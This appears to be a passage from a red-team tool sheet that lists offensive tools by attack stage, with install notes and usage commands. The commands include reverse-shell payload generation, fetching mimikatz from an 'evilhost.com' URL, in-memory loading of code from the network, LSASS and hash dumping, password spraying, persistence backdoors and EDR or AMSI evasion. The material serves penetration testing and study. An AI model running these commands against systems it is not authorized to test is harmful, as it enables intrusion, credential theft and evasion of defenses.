- Generate payloads and execute exploits
Install: 1. Save to PowerShell modules folder
First you will need to download the PowerSploit Folder and save it to your PowerShell modules folder.
Your PowerShell modules folder path can be found with the following command:
Install: 2. Install PowerSploit as a PowerShell module
You will then need to install the PowerSploit module (use the name of the downloaded folder).
Note: Your PowerShell execution policy might block you, to fix this run the following command.
Now you can install the PowerSploit module.
Usage:
🔙Rubeus
A tool that can be used to perform various actions related to Microsoft Active Directory (AD) environments, such as dumping password hashes, creating/deleting users, and modifying user properties.
Some of the features of Rubeus:
- Kerberoasting
- Golden ticket attacks
- Silver ticket attacks
Install: (Download)
You can install the unofficial pre-compiled Rubeus binary here.
Install: (Compile)
Rubeus is compatible with Visual Studio 2019 Community Edition. Open the rubeus project .sln, choose "Release", and build.
Usage:
🔙SharpUp
A nice tool for checking a victims endpoint for vulnerabilites relating to high integrity processes, groups, hijackable paths, etc.
Install: (Download)
You can install the unofficial pre-compiled SharpUp binary here.
Install: (Compile)
SharpUp is compatible with Visual Studio 2015 Community Edition. Open the SharpUp project .sln, choose "Release", and build.
Usage:
SharpUp.exe audit
#-> Runs all vulnerability checks regardless of integrity level or group membership.
SharpUp.exe HijackablePaths
#-> Check only if there are modifiable paths in the user's %PATH% variable.
SharpUp.exe audit HijackablePaths
#-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.
🔙SQLRecon
MS-SQL (Microsoft SQL Server) is a relational database management system developed and marketed by Microsoft.
This C# MS-SQL toolkit is designed for offensive reconnaissance and post-exploitation. For detailed usage information on each technique, refer to the wiki.
Install: (Binary)
You can download the latest binary release from here.
Usage:
# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
Full usage information can be found on the wiki.
Tool module usage information can be found here.
Image used from SQLRecon help page
🔙UltimateAppLockerByPassList
This resrouce is a collection of the most common and known techniques to bypass AppLocker.
Since AppLocker can be configured in different ways @api0cradle maintains a verified list of bypasses (that works against the default AppLocker rules) and a list with possible bypass technique (depending on configuration) or claimed to be a bypass by someone.
They also have a list of generic bypass techniques as well as a legacy list of methods to execute through DLLs.
Indexed Lists
- Generic-AppLockerbypasses.md
- VerifiedAppLockerBypasses.md
- UnverifiedAppLockerBypasses.md
- DLL-Execution.md
Image used from https://github.com/api0cradle/UltimateAppLockerByPassList
🔙StarFighters
A JavaScript and VBScript Based Empire Launcher, which runs within their own embedded PowerShell Host.
Both Launchers run within their own embedded PowerShell Host, so we don't need PowerShell.exe.
This might be usefull when a company is blocking PowerShell.exe and/or is using a Application Whitelisting solution, but does not block running JS/VBS files.
Usage:
- Setup a new Listener within PowerShell Empire
- Use the Launcher command to Generate a PowerShell launcher for this listener
- Copy and Replace the Base64 encoded Launcher Payload within the StarFighter JavaScript or VBScript file
For the JavaScript version use the following Variable:
For the VBScript version use the following Variable:
- Then run: wscript.exe StarFighter.js or StarFighter.vbs on Target, or DoubleClick the launchers within Explorer.
Image used from https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html
🔙demiguise
The aim of this project is to generate .html files that contain an encrypted HTA file.
The idea is that when your target visits the page, the key is fetched and the HTA is decrypted dynamically within the browser and pushed directly to the user.
This is an evasion technique to get round content / file-type inspection implemented by some security-appliances.
Further technical information here.
Install:
Usage:
# Generate an encrypted .hta file that executes notepad.exe
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta
Image used from https://github.com/nccgroup/demiguise
Persistence
🔙Impacket
Impacket provides a set of low-level Python bindings for various network protocols, including SMB, Kerberos, and LDAP, as well as higher-level libraries for interacting with network services and performing specific tasks such as dumping password hashes and creating network shares.
It also includes a number of command-line tools that can be used to perform various tasks such as dumping SAM databases, enumerating domain trusts, and cracking Windows passwords.
Install:
Install: (With Example Scripts)
Download and extract the package, then navigate to the install folder and run...
Usage:
# Extract NTLM hashes with local files
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
# Gets a list of the sessions opened at the remote hosts
netview.py domain/user:password -target 192.168.10.2
# Retrieves the MSSQL instances names from the target host.
mssqlinstance.py 192.168.1.2
# This script will gather data about the domain's users and their corresponding email addresses.
GetADUsers.py domain/user:password@IP
Great cheat sheet for Impacket usage.
🔙Empire
Empire is a post-exploitation framework that allows you to generate payloads for establishing remote connections with victim systems.
Once a payload has been executed on a victim system, it establishes a connection back to the Empire server, which can then be used to issue commands and control the target system.
Empire also includes a number of built-in modules and scripts that can be used to perform specific tasks, such as dumping password hashes, accessing the Windows registry, and exfiltrating data.
Install:
Usage:
Nice usage cheat sheet by HarmJoy.
🔙SharPersist
A Windows persistence toolkit written in C#.
The project has a wiki.
Install: (Binary)
You can find the most recent release here.
Install: (Compile)
- Download the project files from the GitHub Repo.
- Load the Visual Studio project up and go to "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
- Go to "NuGet Package Manager" --> "Package Sources"
- Add a package source with the URL "https://api.nuget.org/v3/index.json"
- Install the Costura.Fody NuGet package. The older version of Costura.Fody (3.3.3) is needed, so that you do not need Visual Studio 2019.
Install-Package Costura.Fody -Version 3.3.3- Install the TaskScheduler package
Install-Package TaskScheduler -Version 2.8.11- You can now build the project yourself!
Usage:
A full list of usage examples can be found here.
#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
#Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
#Startup Folder
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
🔙ligolo-ng
Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.
When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.
Install: (Download)
Precompiled binaries (Windows/Linux/macOS) are available on the Release page.
Install: (Build)
Building ligolo-ng (Go >= 1.17 is required):
go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go
# Build for Windows
GOOS=windows go build -o agent.exe cmd/agent/main.go
GOOS=windows go build -o proxy.exe cmd/proxy/main.go
Setup: (Linux)
Setup: (Windows)
You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).
Setup: (Proxy server)
Usage:
Start the agent on your target (victim) computer (no privileges are required!):
A session should appear on the proxy server.
Use the session command to select the agent.
Full usage information can be found here.
Image used from https://github.com/nicocha30/ligolo-ng#demo
Privilege Escalation
🔙LinPEAS
LinPEAS is a nice verbose privilege escalation for finding local privesc routes on Linux endpoints.
Install + Usage:
🔙WinPEAS
WinPEAS is a nice verbose privilege escalation for finding local privesc routes on Windows endpoints.
Install + Usage:
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
🔙linux-smart-enumeration
Linux smart enumeration is another good, less verbose, linux privesc tool for Linux.
Install + Usage:
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
🔙Certify
Certify is a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).
Certify is designed to be used in conjunction with other red team tools and techniques, such as Mimikatz and PowerShell, to enable red teamers to perform various types of attacks, including man-in-the-middle attacks, impersonation attacks, and privilege escalation attacks.
Key features of Certify:
- Certificate creation
- Certificate signing
- Certificate import
- Certificate trust modification
Install: (Compile)
Certify is compatible with Visual Studio 2019 Community Edition. Open the Certify project .sln, choose "Release", and build.
Install: (Running Certify Through PowerShell)
If you want to run Certify in-memory through a PowerShell wrapper, first compile the Certify and base64-encode the resulting assembly:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt
Certify can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Certify assembly string):
The Main() method and any arguments can then be invoked as follows:
Full compile instructions can be found here.
Usage:
# See if there are any vulnerable templates
Certify.exe find /vulnerable
# Request a new certificate for a template/CA, specifying a DA localadmin as the alternate principal
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
Full example walkthrough can be found here.
🔙Get-GPPPassword
Get-GPPPassword is a PowerShell script part of the PowerSploit toolkit, it is designed to retrieve passwords for local accounts that are created and managed using Group Policy Preferences (GPP).
Get-GPPPassword works by searching the SYSVOL folder on the domain controller for any GPP files that contain password information. Once it finds these files, it decrypts the password information and displays it to the user.
Install:
Follow the PowerSploit installation instructions from this tool sheet.
Usage:
# Get all passwords with additional information
Get-GPPPassword
# Get list of all passwords
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
🔙Sherlock
PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.
Supports:
- MS10-015 : User Mode to Ring (KiTrap0D)
- MS10-092 : Task Scheduler
- MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
- MS13-081 : TrackPopupMenuEx Win32k NULL Page
- MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
- MS15-051 : ClientCopyImage Win32k
- MS15-078 : Font Driver Buffer Overflow
- MS16-016 : 'mrxdav.sys' WebDAV
- MS16-032 : Secondary Logon Handle
- MS16-034 : Windows Kernel-Mode Drivers EoP
- MS16-135 : Win32k Elevation of Privilege
- CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc
Install: (PowerShell)
# Git install
git clone https://github.com/rasta-mouse/Sherlock
# Load powershell module
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1
Usage: (PowerShell)
# Run all functions
Find-AllVulns
# Run specific function (MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference)
Find-MS14058
Image used from https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/
🔙Watson
Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.
Great for identifying missing patches and suggesting exploits that could be used to exploit known vulnerabilities in order to gain higher privileges on the system.
Install:
Using Visual Studio 2019 Community Edition. Open the Watson project .sln, choose "Release", and build.
Usage:
Image text used from https://github.com/rasta-mouse/Watson#usage
🔙ImpulsiveDLLHijack
A C# based tool that automates the process of discovering and exploiting DLL Hijacks in target binaries.
The discovered Hijacked paths can be weaponized, during an engagement, to evade EDR's.
Install:
- Procmon.exe -> https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
- Custom Confirmatory DLL's :
- These are DLL files which assist the tool to get the confirmation whether the DLL's are been successfully loaded from the identified hijack path
- Compiled from the MalDLL project provided above (or use the precompiled binaries if you trust me!)
- 32Bit dll name should be: maldll32.dll
- 64Bit dll name should be: maldll64.dll
- Install NuGet Package: PeNet -> https://www.nuget.org/packages/PeNet/ (Prereq while compiling the ImpulsiveDLLHijack project)
Note: i & ii prerequisites should be placed in the ImpulsiveDLLHijacks.exe's directory itself.
-
Build and Setup Information:
-
ImpulsiveDLLHijack
- Clone the repository in Visual Studio
- Once project is loaded in Visual Studio go to "Project" --> "Manage NuGet packages" --> Browse for packages and install "PeNet" -> https://www.nuget.org/packages/PeNet/
- Build the project!
- The ImpulsiveDLLHijack.exe will be inside the bin directory.
-
And for Confirmatory DLL's:
- Clone the repository in Visual Studio
- Build the project with x86 and x64
- Rename x86 release as maldll32.dll and x64 release as maldll64.dll
-
Setup: Copy the Confirmatory DLL's (maldll32 & maldll64) in the ImpulsiveDLLHijack.exe directory & then execute ImpulsiveDLLHijack.exe :))
Install instructions from https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites
Usage:
# Help
ImpulsiveDLLHijack.exe -h
# Look for vulnerabilities in an executable
ImpulsiveDLLHijack.exe -path BINARY_PATH
Usage examples can be found here.
Image used from https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples
🔙ADFSDump
A C# tool to dump all sorts of goodies from AD FS.
Created by Doug Bienstock @doughsec while at Mandiant FireEye.
This tool is designed to be run in conjunction with ADFSpoof. ADFSdump will output all of the information needed in order to generate security tokens using ADFSpoof.
Requirements:
- ADFSDump must be run under the user context of the AD FS service account. You can get this information by running a process listing on the AD FS server or from the output of the Get-ADFSProperties cmdlet. Only the AD FS service account has the permissions needed to access the configuration database. Not even a DA can access this.
- ADFSDump assumes that the service is configured to use the Windows Internal Database (WID). Although it would be trivial to support an external SQL server, this feature does not exist right now.
- ADFSDump must be run locally on an AD FS server, NOT an AD FS web application proxy. The WID can only be accessed locally via a named pipe.
Install: (Compile)
ADFSDump was built against .NET 4.5 with Visual Studio 2017 Community Edition. Simply open up the project .sln, choose "Release", and build.
Usage: (Flags)
# The Active Directory domain to target. Defaults to the current domain.
/domain:
# The Domain Controller to target. Defaults to the current DC.
/server:
# Switch. Toggle to disable outputting the DKM key.
/nokey
# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database
Blog - Exploring the Golden SAML Attack Against ADFS
Image used from https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs
Defense Evasion
🔙Invoke-Obfuscation
A PowerShell v2.0+ compatible PowerShell command and script obfuscator. If a victim endpoint is able to execute PowerShell then this tool is great for creating heavily obfuscated scripts.
Install:
Usage:
🔙Veil
Veil is a tool for generating metasploit payloads that bypass common anti-virus solutions.
It can be used to generate obfuscated shellcode, see the official veil framework blog for more info.
Install: (Kali)
Install: (Git)
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Usage:
# List all payloads (–list-payloads) for the tool Ordnance (-t Ordnance)
./Veil.py -t Ordnance --list-payloads
# List all encoders (–list-encoders) for the tool Ordnance (-t Ordnance)
./Veil.py -t Ordnance --list-encoders
# Generate a reverse tcp payload which connects back to the ip 192.168.1.20 on port 1234
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
# List all payloads (–list-payloads) for the tool Evasion (-t Evasion)
./Veil.py -t Evasion --list-payloads
# Generate shellcode using Evasion, payload number 41, reverse_tcp to 192.168.1.4 on port 8676, output file chris
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris
Veil creators wrote a nice blog post explaining further ordnance and evasion command line usage.
🔙SharpBlock
A method of bypassing EDR's active projection DLL's by preventing entry point execution.
Features:
- Blocks EDR DLL entry point execution, which prevents EDR hooks from being placed.
- Patchless AMSI bypass that is undetectable from scanners looking for Amsi.dll code patches at runtime.
- Host process that is replaced with an implant PE that can be loaded from disk, HTTP or named pipe (Cobalt Strike).
- Implanted process is hidden to help evade scanners looking for hollowed processes.
- Command line args are spoofed and implanted after process creation using stealthy EDR detection method.
- Patchless ETW bypass.
- Blocks NtProtectVirtualMemory invocation when callee is within the range of a blocked DLL's address space.
Install:
Use Visual Studio 2019 Community Edition to compile the SharpBlock binary.
Open the SharpBlock project .sln, choose "Release", and build.
Usage:
# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi
Nice PenTestPartners blog post here.
Image used from https://youtu.be/0W9wkamknfM
🔙Alcatraz
Alcatraz is a GUI x64 binary obfuscator that is able to obfuscate various different pe files including:
- .exe
- .dll
- .sys
Some supported obfuscation features include:
- Obfuscation of immediate moves
- Control flow flattening
- ADD mutation
- Entry-point obfuscation
- Lea obfuscation
Install: (Requirements)
Install: https://vcpkg.io/en/getting-started.html
Usage:
Using the GUI to obfuscate a binary:
- Load a binary by clicking
filein the top left corner. - Add functions by expanding the
Functionstree. (You can search by putting in the name in the searchbar at the top) - Hit
compile(Note: Obfuscating lots of functions might take some seconds)
Image used from https://github.com/weak1337/Alcatraz
🔙Mangle
Mangle is a tool that manipulates aspects of compiled executables (.exe or DLL).
Mangle can remove known Indicators of Compromise (IoC) based strings and replace them with random characters, change the file by inflating the size to avoid EDRs, and can clone code-signing certs from legitimate files.
In doing so, Mangle helps loaders evade on-disk and in-memory scanners.
Install:
The first step, as always, is to clone the repo. Before you compile Mangle, you'll need to install the dependencies. To install them, run the following commands:
Then build it
Usage:
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by
Full usage information can be found here.
Image used from https://github.com/optiv/Mangle
🔙AMSI Fail
AMSI.fail is a great website that can be used to generate obfuscated PowerShell snippets that break or disable AMSI for the current process.
The snippets are randomly selected from a small pool of techniques/variations before being obfuscated. Every snippet is obfuscated at runtime/request so that no generated output share the same signatures.
Nice f-secure blog explaining AMSI here.
Image used from http://amsi.fail/
Credential Access
🔙Mimikatz
Great tool for gaining access to hashed and cleartext passwords on a victims endpoint. Once you have gained privileged access to a system, drop this tool to collect some creds.
Install:
- Download the mimikatz_trunk.7z file.
- Once downloaded, the
mimikatz.exebinary is in thex64folder.
Usage:
🔙LaZagne
Nice tool for extracting locally stored passwords from browsers, databases, games, mail, git, wifi, etc.
Install: (Binary)
You can install the standalone binary from here.
Usage:
# Launch all modes
.\laZagne.exe all
# Launch only a specific module
.\laZagne.exe browsers
# Launch only a specific software script
.\laZagne.exe browsers -firefox
🔙hashcat
Tool for cracking password hashes. Supports a large list of hashing algorithms (Full list can be found here).
Install: Binary
You can install the standalone binary from here.
Usage:
Nice hashcat command cheatsheet.
🔙John the Ripper
Another password cracker, which supports hundreds of hash and cipher types, and runs on many operating systems, CPUs and GPUs.
Install:
Usage:
🔙SCOMDecrypt
This tool is designed to retrieve and decrypt RunAs credentials stored within Microsoft System Center Operations Manager (SCOM) databases.
NCC blog post - 'SCOMplicated? – Decrypting SCOM “RunAs” credentials'
Pre-requisites:
To run the tool you will require administrative privileges on the SCOM server. You will also need to ensure that you have read access to the following registry key:
You can check manually that you can see the database by gathering the connection details from the following keys:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName
Install: (PS1)
git clone https://github.com/nccgroup/SCOMDecrypt
cd .\SCOMDecrypt\SCOMDecrypt\
. .\Invoke-SCOMDecrypt.ps1
Install: (Compile)
Using Visual Studio 2019 Community Edition you can compile the SCOMDecrypt binary.
Open the SCOMDecrypt project .sln, choose "Release", and build.
Usage:
Image text used from https://github.com/nccgroup/SCOMDecrypt
🔙nanodump
The LSASS (Local Security Authority Subsystem Service) is a system process in the Windows operating system that is responsible for enforcing the security policy on the system. It is responsible for a number of tasks related to security, including authenticating users for logon, enforcing security policies, and generating audit logs.
Creating a dump of this process can allow an attacker to extract password hashes or other sensitive information from the process's memory, which could be used to compromise the system further.
This allows for the creation of a minidump of the LSASS process.
Install:
Install: (Linux with MinGW)
Install: (Windows with MSVC)
Install: (CobaltStrike only)
Import the NanoDump.cna script on Cobalt Strike.
Full installation information can be found here.
Usage:
# Run
nanodump.x64.exe
# Leverage the Silent Process Exit technique
nanodump --silent-process-exit C:\Windows\Temp\
# Leverage the Shtinkering technique
nanodump --shtinkering
Full usage information can be found here.
Image used from https://github.com/helpsystems/nanodump
🔙eviltree
A standalone python3 remake of the classic "tree" command with the additional feature of searching for user provided keywords/regex in files, highlighting those that contain matches. Created for two main reasons:
- While searching for secrets in files of nested directory structures, being able to visualize which files contain user provided keywords/regex patterns and where those files are located in the hierarchy of folders, provides a significant advantage.
treeis an amazing tool for analyzing directory structures. It's really handy to have a standalone alternative of the command for post-exploitation enumeration as it is not pre-installed on every linux distro and is kind of limited on Windows (compared to the UNIX version).
Install:
Usage:
# Running a regex that essentially matches strings similar to: password = something against /var/www
python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -v
# Using comma separated keywords instead of regex
python3 eviltree.py -r C:\Users\USERNAME -k passw,admin,account,login,user -L 3 -v
Image used from https://github.com/t3l3machus/eviltree
🔙SeeYouCM-Thief
Simple tool to automatically download and parse configuration files from Cisco phone systems searching for SSH credentials.
Will also optionally enumerate active directory users from the UDS API.
Blog - Exploiting common misconfigurations in cisco phone systems
Install:
Usage:
# Enumerate Active Directory users from the UDS api on the CUCM
./thief.py -H <CUCM server> --userenum
# Without specifying a phone IP address the script will attempt to download every config in the listing.
./thief.py -H <Cisco CUCM Server> [--verbose]
# Parse the web interface for the CUCM address and will do a reverse lookup for other phones in the same subnet.
./thief.py --phone <Cisco IP Phoner> [--verbose]
# Specify a subnet to scan with reverse lookups.
./thief.py --subnet <subnet to scan> [--verbose]
Image used from https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/
🔙MailSniper
MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email or by an Exchange administrator to search the mailboxes of every user in a domain.
MailSniper also includes additional modules for password spraying, enumerating users and domains, gathering the Global Address List (GAL) from OWA and EWS and checking mailbox permissions for every Exchange user at an organization.
Nice blog post with more information about here.
Install:
Usage:
Image used from https://patrowl.io/
Discovery
🔙PCredz
This tool extracts Credit card numbers, NTLM(DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface.
Install:
Usage: (PCAP File Folder)
Usage: (Live Capture)
🔙PingCastle
Ping Castle is a tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework. It does not aim at a perfect evaluation but rather as an efficiency compromise.
Install: (Download)
Usage:
🔙Seatbelt
Seatbelt is a useful tool for gathering detailed information about the security posture of a target Windows machine in order to identify potential vulnerabilities and attack vectors.
It is designed to be run on a compromised victim machine to gather information about the current security configuration, including information about installed software, services, group policies, and other security-related settings
Install: (Compile)
Seatbelt has been built against .NET 3.5 and 4.0 with C# 8.0 features and is compatible with Visual Studio Community Edition.
Open up the project .sln, choose "release", and build.
Usage:
# Run all checks and output to output.txt
Seatbelt.exe -group=all -full > output.txt
# Return 4624 logon events for the last 30 days
Seatbelt.exe "LogonEvents 30"
# Query the registry three levels deep, returning only keys/valueNames/values that match the regex .*defini.*
Seatbelt.exe "reg \"HKLM\SOFTWARE\Microsoft\Windows Defender\" 3 .*defini.* true"
# Run remote-focused checks against a remote system
Seatbelt.exe -group=remote -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""
Full command groups and parameters can be found here.
Image used from https://exord66.github.io/csharp-in-memory-assemblies
🔙ADRecon
Great tool for gathering information about a victim's Microsoft Active Directory (AD) environment, with support for Excel outputs.
It can be run from any workstation that is connected to the environment, even hosts that are not domain members.
Prerequisites
- .NET Framework 3.0 or later (Windows 7 includes 3.0)
- PowerShell 2.0 or later (Windows 7 includes 2.0)
Install: (Git)
Install: (Download)
You can download a zip archive of the latest release.
Usage:
# To run ADRecon on a domain member host.
PS C:\> .\ADRecon.ps1
# To run ADRecon on a domain member host as a different user.
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>
# To run ADRecon on a non-member host using LDAP.
PS C:\>.\ADRecon.ps1 -Protocol LDAP -DomainController <IP or FQDN> -Credential <domain\username>
# To run ADRecon with specific modules on a non-member host with RSAT. (Default OutputType is STDOUT with -Collect parameter)
PS C:\>.\ADRecon.ps1 -Protocol ADWS -DomainController <IP or FQDN> -Credential <domain\username> -Collect Domain, DomainControllers
Full usage and parameter information can be found here.
Image used from https://vk9-sec.com/domain-enumeration-powerview-adrecon/
🔙adidnsdump
By default any user in Active Directory can enumerate all DNS records in the Domain or Forest DNS zones, similar to a zone transfer.
This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks.
Install: (Pip)
Install: (Git)
Note: The tool requires impacket and dnspython to function. While the tool works with both Python 2 and 3, Python 3 support requires you to install impacket from GitHub.
Usage:
# Display the zones in the domain where you are currently in
adidnsdump -u icorp\\testuser --print-zones icorp-dc.internal.corp
# Display all zones in the domain
adidnsdump -u icorp\\testuser icorp-dc.internal.corp
# Resolve all unknown records (-r)
adidnsdump -u icorp\\testuser icorp-dc.internal.corp -r
Blog - Getting in the Zone: dumping Active Directory DNS using adidnsdump
Image used from https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/
🔙kerbrute
A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication.
Install: (Go)
Install: (Make)
Usage:
# User Enumeration
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
# Password Spray
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
# Brute User
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
# Brute Force
./kerbrute -d lab.ropnop.com bruteforce -
Image used from https://matthewomccorkle.github.io/day_032_kerbrute/
🔙scavenger
Scavenger is a multi-threaded post-exploitation scanning tool for scavenging systems, finding most frequently used files and folders as well as "interesting" files containing sensitive information.
Scavenger confronts a challenging issue typically faced by Penetration Testing consultants during internal penetration tests; the issue of having too much access to too many systems with limited days for testing.
Install:
First install CrackMapExec from here.
Usage:
# Search for interesting files on victim endpoint
python3 ./scavenger.py smb -t 10.0.0.10 -u administrator -p Password123 -d test.local
Nice blog post.
Image used from https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/scavenger-post-exploitation-tool-for-collecting-vital-data/
Lateral Movement
🔙crackmapexec
This is a great tool for pivoting in a Windows/Active Directory environment using credential pairs (username:password, username:hash). It also offered other features including enumerating logged on users and spidering SMB shares to executing psexec style attacks, auto-injecting Mimikatz/Shellcode/DLL’s into memory using Powershell, dumping the NTDS.dit and more.
Install:
Usage:
🔙WMIOps
WMIOps is a powershell script that uses WMI to perform a variety of actions on hosts, local or remote, within a Windows environment.
Developed by @christruncer.
Original blog post documenting release.
Install: (PowerShell)
Usage:
# Executes a user specified command on the target machine
Invoke-ExecCommandWMI
# Returns all running processes from the target machine
Get-RunningProcessesWMI
# Checks if a user is active at the desktop on the target machine (or if away from their machine)
Find-ActiveUsersWMI
# Lists all local and network connected drives on target system
Get-SystemDrivesWMI
# Executes a powershell script in memory on the target host via WMI and returns the output
Invoke-RemoteScriptWithOutput
Images used from https://pentestlab.blog/2017/11/20/command-and-control-wmi/
🔙PowerLessShell
Tool that uses MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe.
Install:
Usage:
# Help
python PowerLessShell.py -h
# Generate PowerShell payload
python PowerLessShell.py -type powershell -source script.ps1 -output malicious.csproj
# Generating a shellcode payload
python PowerLessShell.py -source shellcode.raw -output malicious.csproj
Full usage information can be found here.
Image used from https://bank-security.medium.com/how-to-running-powershell-commands-without-powershell-exe-a6a19595f628
🔙PsExec
PsExec is a part of the Sysinternals suite of tools, which is a collection of utilities for managing and troubleshooting Windows systems.
It is great for remotely executing commands on target machines.
Note: Some AVs detect PsExec as a 'remote admin' virus.
Install: (PowerShell)
Invoke-WebRequest -Uri 'https://download.sysinternals.com/files/PSTools.zip' -OutFile 'pstools.zip'
Expand-Archive -Path 'pstools.zip' -DestinationPath "$env:TEMP\pstools"
Move-Item -Path "$env:TEMP\pstools\psexec.exe" .
Remove-Item -Path "$env:TEMP\pstools" -Recurse
Usage:
# Prevent the license agreement from being displayed
psexec.exe /accepteula
# Run the 'hostname' command on remote machine
psexec.exe \\REMOTECOMPUTER hostname
# Run the 'hostname' command on EVERYTHING (on the domain)
psexec.exe \\* hostname
# Run a local executable on a remote machine
psexec.exe \\REMOTECOMPUTER -c C:\Tools\program.exe
# Run the 'hostname' command with different credentials
psexec.exe \\REMOTECOMPUTER hostname -u localadmin -p secret-p@$$word
# Spawn shell on remote machine
psexec.exe -s \\REMOTECOMPUTER cmd
Great blog post on PsExec usage.
Image used from https://adamtheautomator.com/psexec/
🔙LiquidSnake
Liquid Snake is a program aimed at performing lateral movement against Windows systems without touching the disk.
The tool relies on WMI Event Subscription in order to execute a .NET assembly in memory, the .NET assembly will listen for a shellcode on a named pipe and then execute it using a variation of the thread hijacking shellcode injection.
The project is composed by two separate solutions:
CSharpNamedPipeLoader- the component that will be transformed in VBS via GadgetToJScriptLiquidSnake- the component responsible to creating the WMI Event Subscription on the remote system
Install:
Open both solutions in Visual Studio and build. Make sure to target x64 architecture for the CSharpNamedPipeLoader.
Output: Two separate EXEs: CSharpNamedPipeLoader.exe and LiquidSnake.exe
Full build information can be found here.
Usage:
